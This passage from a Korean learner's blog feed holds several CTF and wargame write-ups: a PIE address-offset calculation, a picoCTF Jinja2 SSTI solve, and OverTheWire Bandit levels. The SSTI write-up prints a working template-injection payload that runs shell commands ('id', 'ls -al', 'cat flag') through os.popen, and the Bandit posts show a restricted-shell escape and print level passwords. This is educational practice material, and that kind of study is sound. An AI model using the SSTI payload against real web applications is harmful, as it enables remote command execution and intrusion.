Enter the address to jump to, ex =&amp;gt; 0x12345: 00000000000012a7
Your input: 12a7
Segfault Occurred, incorrect address.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭐가 잘못된건지 모르겠지만 실패했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 오타로 실패한줄 한번 더 해보고 이상한걸 하나 발견했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;분명 처음에는 Address of main 이 0x61ac3957b33d 이거 였는데 지금은 0x5847620f433d 이거고 실행할때마다 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 main이라길래 바이너리 파일에서 main의 주소를 찾아봤는데 000000000000133d 이걸로 고정되어있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글에 찾아보니 서버 연결시 마다 새로운 인스턴스를 만들고 이때 랜덤으로 주소가 생긴다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 약간 생각해보면 저 서버에 있는 win() 주소를 보내줘야 실행할꺼 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬에 win() 주소를 아무리 줘봤자 저 서버에서는 알 수 없을 꺼 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정리해보면&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;원격 서버의 main 함수 주소는 항상 다르다.&lt;/li&gt;
&lt;li&gt;로컬의 main과 win 함수 주소는 항상 같다.&lt;/li&gt;
&lt;li&gt;원격 서버에 맞는 win 함수 주소를 줘야한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글에 검색해보니 이렇게 주소가 다를때 맞추는걸 Offset을 계산한다고 말하더라.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 이걸 알았으니 offset 계산 하는 방식을 찾아보자.&lt;/p&gt;
&lt;pre class=&quot;python&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;# python
remote_main_address = 0x5df1f297c33d
local_main_offset = 0x133d
local_win_offset = 0x12a7

remote_base_address = remote_main_address - local_main_offset
remote_win_address = remote_base_address + local_win_offset

print(hex(remote_win_address))&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;생각보다 offset 계산이라는건 되게 간단하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 nc로 원격서버와 연결 후 나온 주소를 대입 하고 계산해서 나온 결과 값을 넣어주면 될꺼같다.&lt;/p&gt;
&lt;pre id=&quot;code_1747921268990&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Address of main: 0x5bd8c979233d
Enter the address to jump to, ex =&amp;gt; 0x12345: 0x5bd8c97922a7
Your input: 5bd8c97922a7
You won!
비밀번호는 비밀입니다.&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/274</guid>
      <comments>https://jangto.tistory.com/entry/Web-Hacking-picoCTF-WebShell-PIE-TIME#entry274comment</comments>
      <pubDate>Thu, 22 May 2025 22:44:12 +0900</pubDate>
    </item>
    <item>
      <title>[A03:2021 &amp;ndash; Injection] picoCTF WebShell SSTI1</title>
      <link>https://jangto.tistory.com/entry/Web-Hacking-picoCTF-WebShell-SSTI1</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;평소 궁금했던 해킹을 공부하기 위해 OverTheWire Bandit 문제들을 끝내고, &amp;ldquo;그럼 이제 진짜 CTF를 한번 풀어보자&amp;rdquo; 싶어서 맨땅에 헤딩하듯 도전했습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 시작&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;912&quot; data-origin-height=&quot;278&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7gqNd/btsN69t2Juz/RdkJuMX27v7psZ81gJZ8Q0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7gqNd/btsN69t2Juz/RdkJuMX27v7psZ81gJZ8Q0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7gqNd/btsN69t2Juz/RdkJuMX27v7psZ81gJZ8Q0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7gqNd%2FbtsN69t2Juz%2FRdkJuMX27v7psZ81gJZ8Q0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;912&quot; height=&quot;278&quot; data-origin-width=&quot;912&quot; data-origin-height=&quot;278&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 문제를 열었더니 무슨 폼이 하나 있고 버튼이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;습관적으로 일단 폼에 아무거나 적고 버튼을 누르니깐 그냥 큰 글씨로 내가 적은 그대로 보여주는 기능인가 보다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;overthewire bandit 풀던 습관인지 모르나 ls 먼저 적어봤다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 분석 ( 1 )&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숫자든 영어든 한글이든 특수문자든 다 똑같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭐 아는 게 없으니 일단 소스코드에 뭐라도 있을까 싶어 F12로 확인해 봤지만 아무것도 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭐 POST 요청이다라는 거 빼곤 알 수 있는 게 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 머리를 굴려보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DB 들락거리는 건 아닌 거 같고 내가 작성한 글자를 가지고 뭐 H1 요소로 만들어주는 건가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 이게 진짜라면 이걸 풀 수는 있는 걸까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래도 이건 정답이 있는 문제니 깐 좀 더 생각해 보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력 한 글자를 POST 방식으로 보내고 똑같은 글자를 H1 태그로 보여준다.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 Controller로 가고 body값을 가지고 다시 html한테 전달한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- Java의 Model 같은 걸로 동작하나?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러면 JSP 같은 템플릿을 쓴다고 생각하면 되나?&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 분석 ( 2 )&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;F12 누르고 네트워크를 보니까 이건 파이썬이고 Werkzeug?라는 서버란다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Werkzeug&lt;span&gt;는&lt;/span&gt; Flask&lt;span&gt;와&lt;/span&gt; &lt;span&gt;같은&lt;/span&gt; Python &lt;span&gt;웹&lt;/span&gt; &lt;span&gt;프레임워크에서&lt;/span&gt; HTTP &lt;span&gt;요청을&lt;/span&gt; &lt;span&gt;처리하고&lt;/span&gt; WSGI &lt;span&gt;표준을&lt;/span&gt; &lt;span&gt;구현하는&lt;/span&gt; &lt;span&gt;도구라고 구글이 알려줬다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;193&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/de8UdH/btsN7z0dnqV/3oaVaWHJRVqxR4FKIt9oiK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/de8UdH/btsN7z0dnqV/3oaVaWHJRVqxR4FKIt9oiK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/de8UdH/btsN7z0dnqV/3oaVaWHJRVqxR4FKIt9oiK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fde8UdH%2FbtsN7z0dnqV%2F3oaVaWHJRVqxR4FKIt9oiK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;834&quot; height=&quot;193&quot; data-origin-width=&quot;834&quot; data-origin-height=&quot;193&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Pyhon 웹 프레임워크를 잘 모르지만 뭐 디장고, 플라스크? 정도 있는 건 알고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글에서 Flask는 Werkzeug를 사용한다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글에서 Flask는 기본적으로 Jinja2라는 템플릿 엔진을 사용한다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 Werkzeug라면 Flask가 거의 확정이지만 Jinja2를 사용하는지는 확실하지 않다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 건 알 방법이 없나?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 여전히 모르겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 뭐 해당 웹사이트에서 얻은 힌트를 정리하면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;1. Python으로 만들어졌다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;2. 서버는 Werkzeug이 거고 Flask는 이를 기반으로 동작한다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;3. Flask의 기본 템플릿은 Jinja2이다.&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;구글에서 Jinja2 사용법을 알아보니 뭐 화면에 {{어쩌고}} 이런식으로 작성한다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오? 뭐가 찾았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;{{a}} 이렇게 적었는데 빈 화면이 나왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 새로운 건 리다이렉트 시키고 있다는 사실이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 {{어쩌구}} 어쩌고라는 변수를 보여주는 건가?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모르겠어서 막치다가 &lt;b&gt;{{=-0}}&lt;/b&gt; 이런 걸 적었는데 &lt;b&gt;500 에러&lt;/b&gt;가 나왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;{{-=0}}이거도 500 에러가 났다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변수가 없으면 그냥 빈화면이 나오는 거 같은데 500 에러가 나온다는 건 이걸 변수가 아니라 뭔가 수식으로 인식하나?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;{{1+1=2}}&lt;/b&gt; 이건 &lt;b&gt;500 에러&lt;/b&gt;이고 &lt;b&gt;{{1+1}}&lt;/b&gt;은 &lt;b&gt;2&lt;/b&gt;가 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이거 수식으로 인식한다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 풀이&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 이제 구글에 검색해 봐야겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;jinja2 {{}} 취약점으로 검색하니 지금 {{1+1}} 이게 2가 출력되는 게 &lt;a href=&quot;https://www.monitorapp.com/ko/server-side-template-injection/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SSTI (Server Side Template Injection)이라고&lt;/a&gt; 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;취약점을 이용하는 방법에 대해서도 상세하고 자세히 나오는 걸 보니 정말 기초적인 공격인 거 같다.&lt;/p&gt;
&lt;figure id=&quot;og_1747875225845&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;Jinja2 SSTI Research - HackMD&quot; data-og-description=&quot;# Jinja2 SSTI Research This research was originally developed for [OnSecurity](https://www.onsecuri&quot; data-og-host=&quot;hackmd.io&quot; data-og-source-url=&quot;https://hackmd.io/@Chivato/HyWsJ31dI&quot; data-og-url=&quot;https://hackmd.io/@Chivato/HyWsJ31dI&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/iJnin/hyYYvsbWdr/hX1ACKDg0J7U96FuUvpUu1/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://hackmd.io/@Chivato/HyWsJ31dI&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://hackmd.io/@Chivato/HyWsJ31dI&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/iJnin/hyYYvsbWdr/hX1ACKDg0J7U96FuUvpUu1/img.jpg?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Jinja2 SSTI Research - HackMD&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;# Jinja2 SSTI Research This research was originally developed for [OnSecurity](https://www.onsecuri&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;hackmd.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;{{request.application.__globals__.__builtins__.__import__('os').popen(&lt;span style=&quot;color: #ee2323;&quot;&gt;'id'&lt;/span&gt;).read()}}&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이걸 입력하니깐 overthewire bandit에서 본 그리웠던 사용자 정보를 볼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2256&quot; data-origin-height=&quot;640&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sY48t/btsN7CQYAwc/kksyKuElMkDoYKxUNLkNOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sY48t/btsN7CQYAwc/kksyKuElMkDoYKxUNLkNOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sY48t/btsN7CQYAwc/kksyKuElMkDoYKxUNLkNOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsY48t%2FbtsN7CQYAwc%2FkksyKuElMkDoYKxUNLkNOK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;560&quot; height=&quot;159&quot; data-origin-width=&quot;2256&quot; data-origin-height=&quot;640&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;linux는 역시 {{request.application.__globals__.__builtins__.__import__('os').popen(&lt;span style=&quot;color: #ee2323;&quot;&gt;'ls -al'&lt;/span&gt;).read()}} 해줘야지&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2622&quot; data-origin-height=&quot;1314&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/br1rIQ/btsN60dHFtu/hDNcL6WmwL3hFgSxWMM2Hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/br1rIQ/btsN60dHFtu/hDNcL6WmwL3hFgSxWMM2Hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/br1rIQ/btsN60dHFtu/hDNcL6WmwL3hFgSxWMM2Hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbr1rIQ%2FbtsN60dHFtu%2FhDNcL6WmwL3hFgSxWMM2Hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;539&quot; height=&quot;270&quot; data-origin-width=&quot;2622&quot; data-origin-height=&quot;1314&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭐 이런 식으로 나오길래 이걸 GPT한테 정리하라고 했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1864&quot; data-origin-height=&quot;860&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/zmqgK/btsN6ulLs7Z/qCyUGvPSyk4IfXaRMlBMF1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/zmqgK/btsN6ulLs7Z/qCyUGvPSyk4IfXaRMlBMF1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/zmqgK/btsN6ulLs7Z/qCyUGvPSyk4IfXaRMlBMF1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FzmqgK%2FbtsN6ulLs7Z%2FqCyUGvPSyk4IfXaRMlBMF1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1864&quot; height=&quot;860&quot; data-origin-width=&quot;1864&quot; data-origin-height=&quot;860&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 정말 끝이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;{{request.application.__globals__.__builtins__.__import__('os').popen(&lt;span style=&quot;color: #ee2323;&quot;&gt;'cat flag'&lt;/span&gt;).read()}}를 해주면 Flag 값을 얻을 수 있다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;솔직히 이번에 우연히 &quot;=-0&quot;이 걸 쳐서 실마리를 찾게 되었는데 이게 아니었다면 끝까지 풀지 못했을 거 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 해킹이라는 게 이렇게 하는 게 맞는지도 잘 모르겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 사람들은 이걸 다 미리 알고 하는 걸까? 아니면 그냥 정말 하나하나 해보는 걸까?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;id&quot;로 사용자 계정 확인하는 순간 진짜 도파민 미쳤다.&lt;/p&gt;</description>
      <category>Development/CTF 문제 풀이</category>
      <category>picoCTF</category>
      <category>SSTI</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/273</guid>
      <comments>https://jangto.tistory.com/entry/Web-Hacking-picoCTF-WebShell-SSTI1#entry273comment</comments>
      <pubDate>Thu, 22 May 2025 10:25:32 +0900</pubDate>
    </item>
    <item>
      <title>[Linux 공부] Bandit wargames 32~33 단계 login shell &amp;amp; $0</title>
      <link>https://jangto.tistory.com/entry/Linux-%EA%B3%B5%EB%B6%80-Bandit-wargames-3233-%EB%8B%A8%EA%B3%84-login-shell-0</link>
      <description>&lt;figure id=&quot;og_1747750789741&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;OverTheWire: Level Goal&quot; data-og-description=&quot;We're hackers, and we are good-looking. We are the 1%. &amp;lt;!-- Please read and accept the Rules! --&amp;gt; Level Goal After all this git stuff, it&amp;rsquo;s time for another escape. Good luck! Commands you may need to solve this level sh, man&quot; data-og-host=&quot;overthewire.org&quot; data-og-source-url=&quot;https://overthewire.org/wargames/bandit/bandit33.html&quot; data-og-url=&quot;https://overthewire.org/wargames/bandit/bandit33.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://overthewire.org/wargames/bandit/bandit33.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://overthewire.org/wargames/bandit/bandit33.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;OverTheWire: Level Goal&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;We're hackers, and we are good-looking. We are the 1%. &amp;lt;!-- Please read and accept the Rules! --&amp;gt; Level Goal After all this git stuff, it&amp;rsquo;s time for another escape. Good luck! Commands you may need to solve this level sh, man&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;overthewire.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;31 ~ 32 단계는 겨우겨우 찾은 $0 이라는 것입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. SSH 접속&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;31 ~ 32 단계 접속 비밀번호는 3O9RfhqyAlVBEZpVb6LYStshZoqoSx5K 입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2. $0&lt;/h4&gt;
&lt;pre id=&quot;code_1747751094306&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 접속을 하게 되면 &amp;gt;&amp;gt; 이런 표시가 나옵니다.
# 이게 뭐지 했는데 다 대문자로 바꾸면서 권한은 없다는 말만 계속 나오길래 답답해서 인터넷을 찾아보니
# 1. $0을 통해 빠져나올 수 있다는 내용을 찾았습니다.
# 2. ctrl + c로 도 빠져나올 수 있습니다.

&amp;gt;&amp;gt; $0

$ ls -al

total 36
drwxr-xr-x  2 root     root      4096 Apr 10 14:23 .
drwxr-xr-x 70 root     root      4096 Apr 10 14:24 ..
-rw-r--r--  1 root     root       220 Mar 31  2024 .bash_logout
-rw-r--r--  1 root     root      3771 Mar 31  2024 .bashrc
-rw-r--r--  1 root     root       807 Mar 31  2024 .profile
-rwsr-x---  1 bandit33 bandit32 15140 Apr 10 14:23 uppershell

# uppershell은 뭐지 싶어서 실행해봤더니 처음에 봤던 &amp;gt;&amp;gt; 이 화면이 나왔습니다.
# 여기서 얻은 힌트는 bandit32는 로그인 쉘이 아닌 uppershell이 열린다는 것이다.
# 그리고 해당 file 정보를 보면 setuid로 소유자의 권한을 쓸 수 있게 됩니다.

cat /ect/bandit_pass/bandit33

# 응답
tQdtbs5D5i2vJwkO8mEyYEyTL8izoeJ0&lt;/code&gt;&lt;/pre&gt;</description>
      <category>Development/Linux</category>
      <author>dukbong_dev</author>
      <guid isPermaLink="true">https://jangto.tistory.com/272</guid>
      <comments>https://jangto.tistory.com/entry/Linux-%EA%B3%B5%EB%B6%80-Bandit-wargames-3233-%EB%8B%A8%EA%B3%84-login-shell-0#entry272comment</comments>
      <pubDate>Tue, 20 May 2025 23:25:17 +0900</pubDate>
    </item>
    <item>
      <title>[Linux 공부] Bandit wargames 31~32 단계 git</title>
      <link>https://jangto.tistory.com/entry/Linux-%EA%B3%B5%EB%B6%80-Bandit-wargames-3132-%EB%8B%A8%EA%B3%84-git</link>
      <description>&lt;figure id=&quot;og_1747749928718&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;OverTheWire: Level Goal&quot; data-og-description=&quot;We're hackers, and we are good-looking. We are the 1%. &amp;lt;!-- Please read and accept the Rules! --&amp;gt; Level Goal There is a git repository at ssh://bandit31-git@localhost/home/bandit31-git/repo via the port 2220. The password for the user bandit31-git is the s&quot; data-og-host=&quot;overthewire.org&quot; data-og-source-url=&quot;https://overthewire.org/wargames/bandit/bandit32.html&quot; data-og-url=&quot;https://overthewire.org/wargames/bandit/bandit32.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://overthewire.org/wargames/bandit/bandit32.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://overthewire.org/wargames/bandit/bandit32.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;OverTheWire: Level Goal&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;We're hackers, and we are good-looking. We are the 1%. &amp;lt;!-- Please read and accept the Rules! --&amp;gt; Level Goal There is a git repository at ssh://bandit31-git@localhost/home/bandit31-git/repo via the port 2220. The password for the user bandit31-git is the s&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;overthewire.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;31 ~ 32 단계는 그냥 시키는대로만 하면 바로 끝나는 문제입니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1. SSH 접속&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;31 ~ 32 단계 접속 비밀번호는 fb5S2xb7bRyFmAvQYQGEqsbhVyJqhnDy 입니다.&lt;/p&gt;
